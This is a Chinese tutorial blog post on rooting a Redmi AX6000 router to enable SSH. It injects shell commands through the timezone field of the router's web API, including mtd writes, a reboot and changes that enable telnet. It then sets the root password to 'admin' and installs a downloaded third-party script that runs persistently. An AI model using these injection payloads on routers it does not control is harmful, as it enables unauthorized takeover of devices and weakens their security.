首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Redmi-AX6000 开启SSH

Redmi-AX6000 开启SSH

作者头像
逍遥子大表哥
发布2025-07-28 19:30:04
发布2025-07-28 19:30:04
43200
代码可运行
举报
文章被收录于专栏:kali blogkali blog
运行总次数:0
代码可运行

Redmi-AX6000是一款高性能路由器。本文我们简单地看看如何开启SSH安装第三方软件吧。

环境

  • 系统固件1.0.67稳定版

获取TOKEN

登录小米路由器后台,在浏览器的地址栏中获取token秘钥并记录。token秘钥为下图地址栏中蓝色部分数值。

打开浏览器,复制下面的内容到地址栏,并替换 {TOKEN}

代码语言:javascript
代码运行次数:0
运行
复制
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20zz%3D%24%28dd%20if%3D%2Fdev%2Fzero%20bs%3D1%20count%3D2%202%3E%2Fdev%2Fnull%29%20%3B%20printf%20%27%A5%5A%25c%25c%27%20%24zz%20%24zz%20%7C%20mtd%20write%20-%20crash%20%3B%20

我的替换后如上。将替换好的值复制到浏览器请求,如果显示 {"code":0} 如上返回内容则表示成功。

重启

同样打开浏览器,复制下面的内容到地址栏,并替换 {TOKEN}

代码语言:javascript
代码运行次数:0
运行
复制
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20

永久开启telnet

待路由器重启完成后,重新进入路由器管理后台,获取新的{token};之后打开浏览器,复制下面的内容到地址栏,并替换{token}

代码语言:javascript
代码运行次数:0
运行
复制
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20set%20uart_en%3D1%20%3B%20bdata%20commit%20%3B%20

之后请再次执行通过浏览器请求重启并等待设备重启完成。

代码语言:javascript
代码运行次数:0
运行
复制
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20

开启SSH

创建 Telnet 会话,链接设备。无用户名和密码

接下来,分别执行下面命令;

代码语言:javascript
代码运行次数:0
运行
复制
echo -e 'admin\nadmin' | passwd root
nvram set ssh_en=1
nvram set telnet_en=1
nvram set uart_en=1
nvram set boot_wait=on
nvram commit
sed -i 's/channel=.*/channel="debug"/g' /etc/init.d/dropbear
/etc/init.d/dropbear restart
mkdir /data/auto_ssh
cd /data/auto_ssh
curl -O https://fastly.jsdelivr.net/gh/lemoeo/AX6S@main/auto_ssh.sh
chmod +x auto_ssh.sh
uci set firewall.auto_ssh=include
uci set firewall.auto_ssh.type='script'
uci set firewall.auto_ssh.path='/data/auto_ssh/auto_ssh.sh'
uci set firewall.auto_ssh.enabled='1'
uci commit firewall
uci set system.@system[0].timezone='CST-8'
uci set system.@system[0].webtimezone='CST-8'
uci set system.@system[0].timezoneindex='2.84'
uci commit
mtd erase crash
reboot

SSH 密码设置为admin,用户名设置为root,并永久开启 SSH端口。待设备重启完成后,你就可以使用该用户名密码连接设备的 SSH 了。

参考文章:https://www.gaicas.com/redmi-ax6000.html

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-11-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 kali笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 环境
  • 获取TOKEN
  • 永久开启telnet
  • 开启SSH
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档